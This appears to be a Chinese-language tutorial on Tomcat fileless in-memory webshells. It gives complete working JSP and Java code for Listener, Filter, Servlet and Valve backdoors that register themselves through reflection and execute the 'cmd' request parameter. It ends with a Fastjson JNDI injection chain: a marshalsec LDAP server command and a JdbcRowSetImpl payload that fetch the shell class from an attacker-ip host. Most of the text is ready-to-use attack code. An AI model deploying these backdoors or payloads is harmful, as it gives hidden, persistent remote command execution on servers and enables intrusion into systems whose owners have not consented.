Tomcat内存马分析
字数 1454 2025-08-22 12:23:42
Tomcat内存马分析与实现
前言
Tomcat内存马是一种在Web服务器内存中驻留的后门技术,不依赖文件系统,难以被传统安全防护手段检测。本文将详细分析Tomcat中四种内存马实现方式:Listener、Filter、Servlet和Valve。
环境准备
- 开发环境:IDEA 2024.2.3
- 服务器环境:Apache Tomcat 8.5.69
- JDK版本:1.8.0_66
核心概念
StandardContext
StandardContext是Tomcat架构中的核心类,代表一个Web应用程序,提供以下重要功能:
- 管理应用程序的生命周期
- 维护Listener、Filter、Servlet等组件
- 处理请求路由
Listener内存马
原理分析
ServletRequestListener接口允许在请求初始化和销毁时执行自定义逻辑。Tomcat通过StandardContext的applicationEventListenersList维护所有Listener。
实现步骤
- 获取StandardContext对象
- 创建恶意Listener类
- 将Listener添加到StandardContext
JSP实现代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class VulListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent e) {}
@Override public void requestInitialized(ServletRequestEvent e) {
String cmd = e.getServletRequest().getParameter("cmd");
try { Runtime.getRuntime().exec(cmd); }
catch (IOException ex) { throw new RuntimeException(ex); }
}
}
%>
<%
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext ctx = (StandardContext) req.getContext();
ctx.addApplicationEventListener(new VulListener());
%>
反序列化实现
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.IOException;
public class ListenerMemory implements ServletRequestListener {
static {
WebappClassLoaderBase loader = (WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader();
StandardContext ctx = (StandardContext) loader.getResources().getContext();
ctx.addApplicationEventListener(new ListenerMemory());
}
@Override public void requestDestroyed(ServletRequestEvent e) {}
@Override public void requestInitialized(ServletRequestEvent e) {
String cmd = e.getServletRequest().getParameter("cmd");
try { Runtime.getRuntime().exec(cmd); }
catch (IOException ex) { throw new RuntimeException(ex); }
}
}
Filter内存马
原理分析
Filter通过ApplicationFilterChain处理请求,StandardContext维护filterMaps和filterConfigs来管理Filter。
实现步骤
- 获取StandardContext
- 创建恶意Filter
- 创建FilterMap和FilterDef
- 创建ApplicationFilterConfig
- 将配置添加到StandardContext
JSP实现代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
class VulFilter implements Filter {
@Override public void init(FilterConfig config) throws ServletException {}
@Override public void doFilter(ServletRequest req, ServletResponse res,
FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
res.getWriter().write(line);
}
}
@Override public void destroy() {}
}
%>
<%
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);
Request req = (Request) f.get(request);
StandardContext ctx = (StandardContext) req.getContext();
VulFilter filter = new VulFilter();
String name = "VulFilter";
FilterMap map = new FilterMap();
map.addURLPattern("/*");
map.setFilterName(name);
FilterDef def = new FilterDef();
def.setFilterName(name);
def.setFilterClass(filter.getClass().getName());
def.setFilter(filter);
Field configsField = ctx.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
Map<String,Object> configs = (Map<String, Object>) configsField.get(ctx);
ctx.addFilterDef(def);
ctx.addFilterMap(map);
Constructor<ApplicationFilterConfig> ctor =
ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
ctor.setAccessible(true);
ApplicationFilterConfig config = ctor.newInstance(ctx, def);
configs.put(name, config);
%>
反序列化实现
import org.apache.catalina.*;
import org.apache.catalina.core.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.*;
import javax.servlet.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;
public class FilterMemory implements Filter {
static {
try {
WebappClassLoaderBase loader = (WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader();
StandardContext ctx = (StandardContext) loader.getResources().getContext();
FilterMemory filter = new FilterMemory();
String name = "FilterMemory";
FilterMap map = new FilterMap();
map.addURLPattern("/*");
map.setFilterName(name);
FilterDef def = new FilterDef();
def.setFilterName(name);
def.setFilterClass(filter.getClass().getName());
def.setFilter(filter);
Field configsField = ctx.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
Map<String,Object> configs = (Map<String, Object>) configsField.get(ctx);
ctx.addFilterDef(def);
ctx.addFilterMap(map);
Constructor<ApplicationFilterConfig> ctor =
ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
ctor.setAccessible(true);
ApplicationFilterConfig config = ctor.newInstance(ctx, def);
configs.put(name, config);
} catch (Exception e) { throw new RuntimeException(e); }
}
@Override public void init(FilterConfig config) throws ServletException {}
@Override public void doFilter(ServletRequest req, ServletResponse res,
FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
res.getWriter().write(line);
}
}
@Override public void destroy() {}
}
Servlet内存马
原理分析
Servlet通过StandardWrapper管理,StandardContext维护children集合和servlet映射。
实现步骤
- 获取StandardContext
- 创建恶意Servlet
- 创建StandardWrapper并设置属性
- 将Wrapper添加到Context
- 添加Servlet映射
JSP实现代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%!
class VulServlet implements Servlet {
@Override public void init(ServletConfig config) throws ServletException {}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res)
throws ServletException, IOException {
String cmd = req.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null) {
res.getWriter().write(line);
}
}
@Override public String getServletInfo() { return ""; }
@Override public void destroy() {}
}
%>
<%
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);
Request req = (Request) f.get(request);
StandardContext ctx = (StandardContext) req.getContext();
VulServlet servlet = new VulServlet();
StandardWrapper wrapper = new StandardWrapper();
String name = "VulServlet";
String url = "/v";
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServletName(name);
ctx.addChild(wrapper);
ctx.addServletMappingDecoded(url, name);
%>
反序列化实现
import org.apache.catalina.*;
import org.apache.catalina.core.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.*;
import java.io.*;
public class ServletMemory implements Servlet {
static {
WebappClassLoaderBase loader = (WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader();
StandardContext ctx = (StandardContext) loader.getResources().getContext();
ServletMemory servlet = new ServletMemory();
StandardWrapper wrapper = new StandardWrapper();
String name = "ServletMemory";
String url = "/s";
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServletName(name);
ctx.addChild(wrapper);
ctx.addServletMappingDecoded(url, name);
}
@Override public void init(ServletConfig config) throws ServletException {}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res)
throws ServletException, IOException {
String cmd = req.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null) {
res.getWriter().write(line);
}
}
@Override public String getServletInfo() { return ""; }
@Override public void destroy() {}
}
Valve内存马
原理分析
Valve是Tomcat的管道组件,可以拦截和处理请求。StandardContext维护pipeline和valves链。
实现步骤
- 获取StandardContext
- 创建恶意Valve实现
- 将Valve添加到Context
JSP实现代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%!
class VulValve implements Valve {
@Override public Valve getNext() { return null; }
@Override public void setNext(Valve valve) {}
@Override public void backgroundProcess() {}
@Override public boolean isAsyncSupported() { return false; }
@Override public void invoke(Request req, Response res)
throws IOException, ServletException {
String cmd = req.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
res.getWriter().write(line);
}
}
}
%>
<%
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);
Request req = (Request) f.get(request);
StandardContext ctx = (StandardContext) req.getContext();
ctx.addValve(new VulValve());
%>
反序列化实现
import org.apache.catalina.*;
import org.apache.catalina.core.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import java.io.*;
public class ValveMemory implements Valve {
static {
WebappClassLoaderBase loader = (WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader();
StandardContext ctx = (StandardContext) loader.getResources().getContext();
ctx.addValve(new ValveMemory());
}
@Override public Valve getNext() { return null; }
@Override public void setNext(Valve valve) {}
@Override public void backgroundProcess() {}
@Override public boolean isAsyncSupported() { return false; }
@Override public void invoke(Request req, Response res)
throws IOException, ServletException {
String cmd = req.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
res.getWriter().write(line);
}
}
}
反序列化注入实战
Fastjson靶场搭建
- 创建Web项目并添加Fastjson 1.2.24依赖
- 创建漏洞Servlet:
@WebServlet("/FastJsonServlet")
public class FastJsonServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse res)
throws ServletException, IOException {
BufferedReader br = req.getReader();
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line);
JSON.parseObject(sb.toString());
}
}
利用JNDI注入
- 使用marshalsec搭建LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://attacker-ip:8000/#MemoryShell 9999
- 发送恶意请求:
{
"a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker-ip:9999/MemoryShell",
"autoCommit": true
}
}
总结
- Listener内存马:通过StandardContext的applicationEventListenersList注入
- Filter内存马:需要操作StandardContext的filterMaps和filterConfigs
- Servlet内存马:通过StandardWrapper和StandardContext的children注入
- Valve内存马:通过StandardContext的pipeline注入
所有内存马的核心都是通过反射获取和操作StandardContext对象,利用Tomcat的组件机制实现无文件持久化。